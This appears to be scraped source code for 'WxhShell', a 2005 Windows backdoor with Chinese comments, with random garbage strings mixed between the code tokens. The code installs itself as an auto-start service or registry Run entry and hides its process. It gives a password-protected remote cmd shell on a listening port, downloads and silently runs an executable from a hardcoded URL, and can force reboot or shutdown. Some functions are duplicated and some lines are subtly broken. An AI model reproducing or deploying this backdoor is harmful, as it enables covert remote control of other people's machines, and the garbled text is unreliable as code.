kzmQm "6ECgyD+E! HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); qml2XJ> if(NULL == hInst ) return 0; ,Tagj`@bHc ;TiUpg</_3 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2S3lsp5! g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `Pn[tuIO NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); lK'Rn~ 7xo4-fIuT if (!NtQueryInformationProcess) return 0; qSCv )S( YV4#%I!< hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?|{XZQ~ if(!hProcess) return 0; qm*}U3K 0yM[Z':i'{ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <+#oBN r\6"5cQ= CloseHandle(hProcess); s
MN*RKer ZSy?T hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )2q~u%9n if(hProcess==NULL) return 0; lS^(&<{ \vfBrN HMODULE hMod; 6(|d|Si *c char procName[255]; \<0B 1m unsigned long cbNeeded; iZ3W"Vd`b (UCK;k if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {Hmo1|_S| ?Ucu#UO CloseHandle(hProcess); iTh:N2/-vc }ov&.,vQ if(strstr(procName,"services")) return 1; // 以服务启动 zjL.Bhiud W,@
If} return 0; // 注册表启动 f&,{XZ } 1{Mcs%W;w5 D<i[LZd // 主模块 h0Z{,s} int StartWxhshell(LPSTR lpCmdLine) 2g9G{~,@g { @XD+' {] SOCKET wsl; +z9@:L BOOL val=TRUE; tcr// int port=0; %Pqk63QF struct sockaddr_in door; gk BdR + \o-&f: if(wscfg.ws_autoins) Install(); |]Z:&[D]i FOwDp0 port=atoi(lpCmdLine); )Rat0$6 =$8nUX` if(port<=0) port=wscfg.ws_port; ./j,Z$| MF3b{|Z WSADATA data; r,goRK. if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <!$:8ls m@`8A if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; F;lI+^}} setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); h0oMTiA door.sin_family = AF_INET; (C]
SH\ door.sin_addr.s_addr = inet_addr("127.0.0.1"); AB Xl door.sin_port = htons(port); CxhY$%C (L X7UuwIIP if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { oBq 49u1 closesocket(wsl); c H-@V< return 1; 'Djm0 } G'zF)0oD M}_i52 if(listen(wsl,2) == INVALID_SOCKET) { _ ~RpGX closesocket(wsl); ]u-]'P return 1; V]c;^ } ?T_3n: Wxhshell(wsl); 0c.s
- WSACleanup(); xCzebG[" 5F t5@UF~ return 0; "xMD,}+5$$ JxLf?ad. } 2>-S-;i f\;65k_jq // 以NT服务方式启动 6+V\t+aug VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `6y{.$ z { y~
G.V,0 DWORD status = 0; k *R<, DWORD specificError = 0xfffffff; 7f<EoSK cH<q:OYi serviceStatus.dwServiceType = SERVICE_WIN32; FLoNE>q serviceStatus.dwCurrentState = SERVICE_START_PENDING; /sR%]q
|L serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]Ni$.@Hu$ serviceStatus.dwWin32ExitCode = 0; OI}
&m^IOo serviceStatus.dwServiceSpecificExitCode = 0; b,P ]9$Ut serviceStatus.dwCheckPoint = 0; s%iOUL2/ serviceStatus.dwWaitHint = 0; '`Bm'Dd T9 <2A1 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,U *)2`[ if (hServiceStatusHandle==0) return; 4RKW *F>v]8 status = GetLastError(); AeIrr*~]B if (status!=NO_ERROR) e&ANp0|W { 0Iud$Lu serviceStatus.dwCurrentState = SERVICE_STOPPED; + SZYg[ serviceStatus.dwCheckPoint = 0; p
<eC<dtu serviceStatus.dwWaitHint = 0; c[}(OH serviceStatus.dwWin32ExitCode = status; Md)zEj`\ serviceStatus.dwServiceSpecificExitCode = specificError; _qvK*nE SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1%M&CX return; %2'A
pp } Sj'ht= J" j.'. serviceStatus.dwCurrentState = SERVICE_RUNNING; RjJU4q serviceStatus.dwCheckPoint = 0; :ztr) serviceStatus.dwWaitHint = 0; :"6q,W if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); K.C>
a:J } nfb]VN~( E'1+ Yq // 处理NT服务事件,比如:启动、停止 DPrBFmHF VOID WINAPI NTServiceHandler(DWORD fdwControl) ka\OJ7u { YL
jHt\ switch(fdwControl) JJV0R}z?TV { IUGz =%[ case SERVICE_CONTROL_STOP: \&V0vN1 serviceStatus.dwWin32ExitCode = 0; C0.'_ serviceStatus.dwCurrentState = SERVICE_STOPPED; )oo~m\` serviceStatus.dwCheckPoint = 0; H-rWDN# serviceStatus.dwWaitHint = 0; nmlPX7!{$ { ]!:oYAm SetServiceStatus(hServiceStatusHandle, &serviceStatus); E}CiQUx } ;TQf5|R\K return; *IlaM'[* case SERVICE_CONTROL_PAUSE: ezhDcI_T serviceStatus.dwCurrentState = SERVICE_PAUSED; QYXx:nIrg break; [#" =yzR<3 case SERVICE_CONTROL_CONTINUE: C8@TZ[w serviceStatus.dwCurrentState = SERVICE_RUNNING; QVZD/shq break; {-9jm%N case SERVICE_CONTROL_INTERROGATE: D/(L break; 4!$
M q;U }; W-RqN!snJ8 SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?&WYjTU]H } :Ud[f`t t{! // 标准应用程序主函数 LiDvaF:@L! int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]!1OH
|Ad { y<W8Q<9 Vi!Q // 获取操作系统版本 k'`m97B OsIsNt=GetOsVer(); Q_*_?yf GetModuleFileName(NULL,ExeFile,MAX_PATH); 9L%I<5i Rg29 // 从命令行安装 CR4rDh8z a if(strpbrk(lpCmdLine,"iI")) Install(); P`$12<\O1 ;y?);!g // 下载执行文件 B UUf;Vv if(wscfg.ws_downexe) { ~>G]_H]? if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) CozKyt/r7 WinExec(wscfg.ws_filenam,SW_HIDE); (%ew604X } :(3|HTz UIJx* if(!OsIsNt) { b yg0.+e0 // 如果时win9x,隐藏进程并且设置为注册表启动 ${~|+zdB HideProc(); Q>}2cDl StartWxhshell(lpCmdLine); NQTnhiM7$ } |wxGpBau else @b&84Gn2
r if(StartFromService())
a<XCNTaVT // 以服务方式启动 # jYpVc{] StartServiceCtrlDispatcher(DispatchTable); $X`y%*<<v else TmRxKrRs // 普通方式启动 Z{-Lc68 StartWxhshell(lpCmdLine); $BN15x0/:~ 1N`vCt]w return 0; a+41|)pt } F
SMj +,'T=Ic{ H(+<)qH .;/L2Jv =========================================== `%K`gYhG1 qX:B4,|ck =?@Q-(bp S[M4ukYK 8"'x)y UgHf*m " $FM'
3%B[ ?v]-^X=& #include <stdio.h> Pd=,$UQp #include <string.h> ,#u\l>&$ #include <windows.h> my^ak*N #include <winsock2.h> ]o.vB}WsY #include <winsvc.h> Rz <OF^Iy #include <urlmon.h> jrJR1npB Go\VfLL w #pragma comment (lib, "Ws2_32.lib") %n$^-Vc& #pragma comment (lib, "urlmon.lib") 'E]A.3-Mt 0`hwmDiB" #define MAX_USER 100 // 最大客户端连接数 .:1qK<vz #define BUF_SOCK 200 // sock buffer 7|YrdK< #define KEY_BUFF 255 // 输入 buffer MOz}Q1`a c,5n,i #define REBOOT 0 // 重启 3><u*0qe%I #define SHUTDOWN 1 // 关机 Rph%*~' nnCug #define DEF_PORT 5000 // 监听端口 TYS\95< :xeLt; #define REG_LEN 16 // 注册表键长度 y0q#R.TOm #define SVC_LEN 80 // NT服务名长度 DQ6jT@ZDH ija:H'j // 从dll定义API ?T*";_o,B typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6vz1*\:H~ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); m@qqVRn#) typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 90:K#nW; typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); L/r{xS tB6k|cPC // wxhshell配置信息 mBl7{w;Iv struct WSCFG { /A(NuB<Pq int ws_port; // 监听端口 Vu]h4S : char ws_passstr[REG_LEN]; // 口令 }C6@c1myq- int ws_autoins; // 安装标记, 1=yes 0=no av' *u char ws_regname[REG_LEN]; // 注册表键名 5{l1A(b char ws_svcname[REG_LEN]; // 服务名 =Sxol>?t char ws_svcdisp[SVC_LEN]; // 服务显示名 l8wF0| char ws_svcdesc[SVC_LEN]; // 服务描述信息 -CBD|fo[h char ws_passmsg[SVC_LEN]; // 密码输入提示信息 cH"@d^"+q| int ws_downexe; // 下载执行标记, 1=yes 0=no W"sr$K2m| char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" HhSjR%6HY; char ws_filenam[SVC_LEN]; // 下载后保存的文件名 vA?_-. J j7/(sf }; U</+ .$b K3ukYR // default Wxhshell configuration Fj=NiZ= struct WSCFG wscfg={DEF_PORT, 981!2* "xuhuanlingzhe", ki4f*Ej 1, )!-S|s' "Wxhshell", S<oQ}+4[~ "Wxhshell", 'j79GC0 "WxhShell Service", _Y-$}KwY! "Wrsky Windows CmdShell Service", FMS2.E "Please Input Your Password: ", &BgU:R, 1, 3%IWGmye4 "http://www.wrsky.com/wxhshell.exe", JSjYC0e "Wxhshell.exe" 9~Xg#{ }; XZO<dhZX: 2V$9ei6 // 消息定义模块 JuJ5qIal char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |R~;&x: char *msg_ws_prompt="\n\r? for help\n\r#>"; *Q/E~4AW|t char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; hEOJb
@:R char *msg_ws_ext="\n\rExit."; +89o`u_l% char *msg_ws_end="\n\rQuit."; jOl 1_ char *msg_ws_boot="\n\rReboot..."; 4A~)b"j5 char *msg_ws_poff="\n\rShutdown..."; 6y@<?08Q char *msg_ws_down="\n\rSave to "; b\L)m ( a;p6?kv char *msg_ws_err="\n\rErr!"; nHU3%%%cU char *msg_ws_ok="\n\rOK!"; #$u ZDQY_ r5)f82pQ char ExeFile[MAX_PATH]; m|dF30~A int nUser = 0; /nM*ljfB\ HANDLE handles[MAX_USER]; ;U7t int OsIsNt; R6Pz#`n 6DZ2pT: SERVICE_STATUS serviceStatus; nDn{zea7 SERVICE_STATUS_HANDLE hServiceStatusHandle; APuu_!ez1 rxkBg0Z`a // 函数声明 ddMM74 int Install(void); ~y%7w5%Un int Uninstall(void); Kz^ hQd int DownloadFile(char *sURL, SOCKET wsh); H2]BMkum int Boot(int flag); JOHp?3 "4 void HideProc(void); "GB UQ} int GetOsVer(void); |ZuDX87 int Wxhshell(SOCKET wsl); @}{VM)Fc+ void TalkWithClient(void *cs); _^3@PM> int CmdShell(SOCKET sock); V,'FlU int StartFromService(void); "j;!_v>=f` int StartWxhshell(LPSTR lpCmdLine); m[#%/ /
GZV_H%v VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ;@O(z*14@ VOID WINAPI NTServiceHandler( DWORD fdwControl ); A3!2"}L ?/L1tX) // 数据结构和表定义 "lb\c SERVICE_TABLE_ENTRY DispatchTable[] = y7
<(,uT { <sF!]R&4 {wscfg.ws_svcname, NTServiceMain}, m"1
? {NULL, NULL} otZ JY) }; C890+(D~ IT7:QEfKU // 自我安装 n7'<3t int Install(void) $o::PDQ? { "URVX1#(r char svExeFile[MAX_PATH]; "N]WL5$i HKEY key; _4A&%> strcpy(svExeFile,ExeFile); C(ZcR_+r$, %hrsE5k^, // 如果是win9x系统,修改注册表设为自启动 !DCVoc]pV if(!OsIsNt) { Zj5NWzj
X if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $Jt8d|UP RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (rMTW+, RegCloseKey(key); lp3(&p<: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gS0,')w RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); H==X0 RegCloseKey(key); 9 ?[4i' return 0; J78Qj[v } S:DcfR=a } :1%VZvWk* } sVNo\ else { c lq
<$-
__Vg/C!W // 如果是NT以上系统,安装为系统服务 A89Y;_4y SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +X{cN5Y K if (schSCManager!=0) oTZo[T@zRx { yRSy(/L^+ SC_HANDLE schService = CreateService K>`m_M"LA ( *
N2#{eF&] schSCManager, &FT5w T wscfg.ws_svcname, 9iiU,}M`j wscfg.ws_svcdisp, ~r7DEy|+ SERVICE_ALL_ACCESS, IhtmD@H} SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _
+u sn. SERVICE_AUTO_START, yKel|vM# SERVICE_ERROR_NORMAL, X:iG[iU* svExeFile, )@?Qt2 NULL, 2*b#+ b NULL, [j]}$fFe NULL, :cIu?7A NULL, 0EF,uRb NULL ixoMccU0 ); R|d^M&K, if (schService!=0) =+kvL2nx- { hPNQGVv CloseServiceHandle(schService); PkZf(=-X
CloseServiceHandle(schSCManager); 50O7= strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); pb $ An<P strcat(svExeFile,wscfg.ws_svcname); D"1vw<Ak if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { m&;zLBA; RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); T=iZ9w RegCloseKey(key); hvwnG>m\ return 0; W,L>'$#pM } 1`7]C+Pv } q|de*~@-P CloseServiceHandle(schSCManager); y'i:%n}I } F5om-tzy } h[M6. I{Y
{ return 1; "m<eHz]D } R
oF ]y$V/Ij=qK // 自我卸载 >8.v.;` int Uninstall(void) 1GyA QHx, { uH~ TugQ~ HKEY key; h<!khWFS V8| q"UX if(!OsIsNt) { )SlUQ7f> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v\r7.l:hf RegDeleteValue(key,wscfg.ws_regname); P*nT\B RegCloseKey(key); 8{U]ATx'( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ft.}$8vIT RegDeleteValue(key,wscfg.ws_regname); GwU>o:g" RegCloseKey(key); Ra15d^ return 0; LgD{! } !D|pbzQc8 } d"e%tsj } GXAk*vS=G else { A(!ZZ9Wc 8 MACbLY SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %RK\Hz2q3 if (schSCManager!=0)
DFZ:.6p { o )}< SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); v1tN
DyM6 if (schService!=0) odn97,A { Jr*S2z<* if(DeleteService(schService)!=0) { O'yjB$j CloseServiceHandle(schService); W;)FNP|MT CloseServiceHandle(schSCManager); Rs(CrB/M return 0; <PuB3PEvV } V?L$ys CloseServiceHandle(schService); 6pdl,5[x- } Ubos#hP CloseServiceHandle(schSCManager); ?H86Wbz } lXL7q?,9 } /B#lju! J#OE}xASoA return 1; > Qbc(}w } 6^z\;,p i2%m}S;D9 // 从指定url下载文件 ~)_ ?:.Da int DownloadFile(char *sURL, SOCKET wsh) nAba
=iW { d ;7pri)B HRESULT hr; pGcx
jm char seps[]= "/"; 4+ ?ZTc( char *token; A%czhF char *file; .0*CT:1=0 char myURL[MAX_PATH]; Hpo?|;3D5 char myFILE[MAX_PATH]; :,z3:PL oTV8rG strcpy(myURL,sURL); P@S;>t{TD token=strtok(myURL,seps); gBiQIhz while(token!=NULL) LkZo/K~ { 2;(iTPz + file=token; uW--
nXMs token=strtok(NULL,seps); 'LLQ[JJ=O } 5\kZgXWIh AL$Ty GetCurrentDirectory(MAX_PATH,myFILE); mP
.&fS strcat(myFILE, "\\"); kpreTeA] strcat(myFILE, file); {s^ryv_} send(wsh,myFILE,strlen(myFILE),0); ~m09yc d< send(wsh,"...",3,0); zam0(^= hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }ok
nB if(hr==S_OK) iYQy#kO return 0; @ un else WQmiG=Dw^ return 1; _(kwD^x6O{ {S:3
FI } OVo C05{,w? // 系统电源模块
Dmv int Boot(int flag) _wJ#jJz2 { Ac(irPrD HANDLE hToken; 1eyyu! TOKEN_PRIVILEGES tkp; <[f2ZS6 eHyuO)(xH1 if(OsIsNt) { T2PFE4+Dp OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3R[J,go LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); e^Wv*OD' tkp.PrivilegeCount = 1; d*:qFq_ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; f I-"8f0_ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); xr3PO?: if(flag==REBOOT) { h)RM9813< if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,) jB<` return 0; *>*/| } WuZn|j' else { @`*YZq>p if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) G`lhvpifG return 0; mb`}sTU). } 2DqHqq9m } %f(.OR)6{ else { "/-v 9 if(flag==REBOOT) { 9@*>$6 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ef;="N return 0; c Yn}we}7 } g
UAPjR else { ~{$'s p0 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @!NHeH=pR return 0; /,%o<Ql9 } G.ARu-2's } lc(iy:z@ "8TMAF|i4 return 1; ly5L-=Xb } Ijro;rsEKM 0]0M>vx
u // win9x进程隐藏模块 DJjDKVO5t void HideProc(void) ouZ9oy(}a { %=
;K>D w7V
W HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "$;:dfrU if ( hKernel != NULL ) uQ+$Hzx X { 4\WkXwoqQO pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); U.h PC3 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ]-LE'Px| FreeLibrary(hKernel); *n?:)( } <$6E r G"sc;nT return; ]h$TgX } IH:Cm5MV @CUDD{1o // 获取操作系统版本 S$/3K q int GetOsVer(void) ,.F+x} { iPYlTV OSVERSIONINFO winfo; D];([:+4 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); y~1php>2f1 GetVersionEx(&winfo); ^TK)_wx if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) p}X87Zq return 1; nE%qm - else k5
l~ return 0;
S6Pb V} } rrRC5h
tJ=zk3BN~ // 客户端句柄模块 w2AWdO6 int Wxhshell(SOCKET wsl) 3_/d=ZI\ { nEr, jd~f SOCKET wsh; ZA@"uqa 6b struct sockaddr_in client; {Vu:yh\< DWORD myID; 6E4 L4Vb DL{a8t1L while(nUser<MAX_USER) 1D]wW%us { 6*
w;xf int nSize=sizeof(client); }1 ^.A84a wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >@iV!! if(wsh==INVALID_SOCKET) return 1; ghiElsBU ![jP)WgF handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,r4af< if(handles[nUser]==0) tgnXBWA`! closesocket(wsh); D~>P/b)v{j else =p$ Wo nUser++; +N:%`9}2V } IQ8AsV&'C WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); xy>mM"DOH &ayoTE^0, return 0; z"`?<A&u } +[+Jd)Z p(%x&*)f // 关闭 socket VTa8.(i6v void CloseIt(SOCKET wsh) %Kp}Wo6 { \ S R closesocket(wsh); dx}!]_mlZ nUser--; \3/'#
ExitThread(0); =QRZ(2Wq }
VVY\W! D%v yO_k // 客户端请求句柄 =c'LG void TalkWithClient(void *cs) Fjb[Ev { IK);BN2<L )
|a5Qxz SOCKET wsh=(SOCKET)cs; +/tD$ char pwd[SVC_LEN]; ,zaveQ~l char cmd[KEY_BUFF]; LX'US-B.! char chr[1]; ^xrR3m*d int i,j; )9O{4PbU! KNhH4K2iP8 while (nUser < MAX_USER) { Xqk$[peS rO GJ%|%( if(wscfg.ws_passstr) { LtBH4A if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pV8,b //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j?A+qk //ZeroMemory(pwd,KEY_BUFF); }{"\"Bn_ i=0; MRc^lYj{
while(i<SVC_LEN) { WjB[e> $oEDyC // 设置超时 Jo ^o`9 fd_set FdRead; j&9~OXYv struct timeval TimeOut; g@L4G?hLn FD_ZERO(&FdRead); !p$V7pFu6 FD_SET(wsh,&FdRead); bvG
Vfr " TimeOut.tv_sec=8; "O`;zC TimeOut.tv_usec=0; ]F~5l?4u# int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); U
Lq%,ca if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); dGg+[? [*(MI 9WM if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E:ytdaiT pwd=chr[0]; ;&!l2 UB% if(chr[0]==0xd || chr[0]==0xa) { *HRRv.iQ pwd=0; [Zf<r1m break; jn[a23;G) } ntT|G0E i++; g6farLBF } \ gN) GR c8u0\X, // 如果是非法用户,关闭 socket y-U(`{[nM if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Z7v~;JzC# } LLE~V~j H_Yy.yi send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |Yx8Ez send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I6\3wU~). ]kPco4 while(1) { z(ajR*\# $2.DZ ZeroMemory(cmd,KEY_BUFF); v#6.VUAw D7@10;F}[ // 自动支持客户端 telnet标准 ,ZSuo4 j=0; 1;h>^NOq while(j<KEY_BUFF) { &+
IXDU if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); OjHBzrK cmd[j]=chr[0]; -H
\nFJ6+ if(chr[0]==0xa || chr[0]==0xd) { 3B0%:Jj cmd[j]=0; buoz La break; >iCMjT]4 } {`'b+0[;@ j++; @ZVc!5J_, } 'D4NPG`z KQqlM // 下载文件 yD KX, if(strstr(cmd,"http://")) { kxP6#8*: send(wsh,msg_ws_down,strlen(msg_ws_down),0); kK(633s if(DownloadFile(cmd,wsh)) 2#R"#Q! send(wsh,msg_ws_err,strlen(msg_ws_err),0); g N[r*:B else @EQ{lGpU3 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Kq*^*vWC } u,C-U!A else { ("aYjKk 1{wy%|H\ switch(cmd[0]) { ~q/`Z)(yc Wj3H
y4 // 帮助 2vwT8/ case '?': { "[%NXan send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Ua:EI!` break; >A)he!I } [7B&<zY/? // 安装
A=,m case 'i': { hk=+t&Y<H if(Install()) B)(A#&nrb send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2@H~nw 0 else ^mGT ZxO send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); us]ah~U6A break; HqbTJ!a } 4b#YpK$7U // 卸载 V}(%2W5X+ case 'r': { >8,BC if(Uninstall()) O-7 \qz send(wsh,msg_ws_err,strlen(msg_ws_err),0); Cr&ua|%F else T7,tJk,( send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JvG t=v break; c" l~=1Dr } kTzZj|l^\ // 显示 wxhshell 所在路径 iZ58;` case 'p': { Uq&|iB#mF char svExeFile[MAX_PATH]; FrVD~; strcpy(svExeFile,"\n\r"); l/`Z+]; strcat(svExeFile,ExeFile); Ft]sTA+C send(wsh,svExeFile,strlen(svExeFile),0); uIR_p\) break; -uh/W=Q1R } T}zi P // 重启 _WkK%RYV case 'b': { 1
4|S^UM$ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); LWW0lG!_F if(Boot(REBOOT)) Q:-/@$&i send(wsh,msg_ws_err,strlen(msg_ws_err),0); *Vc}W else { 6q5V*sJ& closesocket(wsh); (cMrEuv ExitThread(0); d BJM?/ } J3$ihH. break; 86I".R$d } `0so)2ty+ // 关机 TKmC/c case 'd': { ZpwB"%e$ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); lr|-_snx2 if(Boot(SHUTDOWN)) 2^juLXc|R send(wsh,msg_ws_err,strlen(msg_ws_err),0); a E#s#Kv else { R%ddB D\? closesocket(wsh); |GMK@Q'0: ExitThread(0); 20J:_+=] } g'I S8@ break; yn7n } h;B'#$_ // 获取shell #)\KV7f!; case 's': { tkd2AMkh! CmdShell(wsh); f>RPh bq| closesocket(wsh); aC:rrS ExitThread(0); ';
qT break; v"s}7trWV } 10a=[\ Q // 退出 ?1[go+56X case 'x': { ;A|6&~E0G send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $[z*MQ CloseIt(wsh); No[>1]ds break; d29]R. } M#:Mwa$ // 离开 Sd{>(YWx~ case 'q': { y(q1~73s send(wsh,msg_ws_end,strlen(msg_ws_end),0); #$A6s~`B closesocket(wsh); VJwzYl WSACleanup(); 04,]upC${W exit(1); &"d4J?io` break; (g } DB?[h<^m } n9)/(=)>* } WJ
mj|$D j|
257D // 提示信息 ]qrO"X= if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =LuA[g } ;Yi ;2ttW } xOS4J+' s@ T,;6q!s= return; oW-luC+ } b|4h2iuM NjMo"1d // shell模块句柄
~DCw
[y int CmdShell(SOCKET sock) [t0gX dU6 { %]NbTTL STARTUPINFO si; O-G4^V8 ZeroMemory(&si,sizeof(si)); 398%16} si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; c.NAUe_3 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }bHdU]$} PROCESS_INFORMATION ProcessInfo; f\Pd#$3 char cmdline[]="cmd"; qG~O]($ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Vj`9j. 5 return 0; @!K)(B;A0b } fLPB *y6 {Rbc // 自身启动模式 xH*OEzN int StartFromService(void) &L+u]&!6C { /EWF0XV! typedef struct J#bEAK^L,l { HSyohP8 7 DWORD ExitStatus; qA&N6` DWORD PebBaseAddress; ]W]Vkkg] DWORD AffinityMask; %1xo|6hm- DWORD BasePriority; ZSHc@r*> ULONG UniqueProcessId; 27gK
Y
Zf; ULONG InheritedFromUniqueProcessId; $T~|@XH } PROCESS_BASIC_INFORMATION; CkIICx :fo%)_Jc! PROCNTQSIP NtQueryInformationProcess; 0;o`7f O'o` static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <+C]^*j static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =XyK/$ ]"aC
wr HANDLE hProcess; f |aO9w PROCESS_BASIC_INFORMATION pbi; P|c79 = R; 0Ed&b HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9fyk7~V if(NULL == hInst ) return 0; par
$0z/ v?5Xx{ym g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .#Z}}W# g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); j2g#t NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); n
omtP } NSj}?hz if (!NtQueryInformationProcess) return 0; miEfxim _qM'm^z5 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,.G6c=pZ if(!hProcess) return 0; ]#TL~u[ X 1^f0\k if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Pa%XLn'5 @4_W}1W CloseHandle(hProcess); hP,SvN#!2 v~uQ_ae$> hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); " #_NA`$i if(hProcess==NULL) return 0; ^=}~ hPP+lqY[ HMODULE hMod; 9kWyO:a_( char procName[255]; C
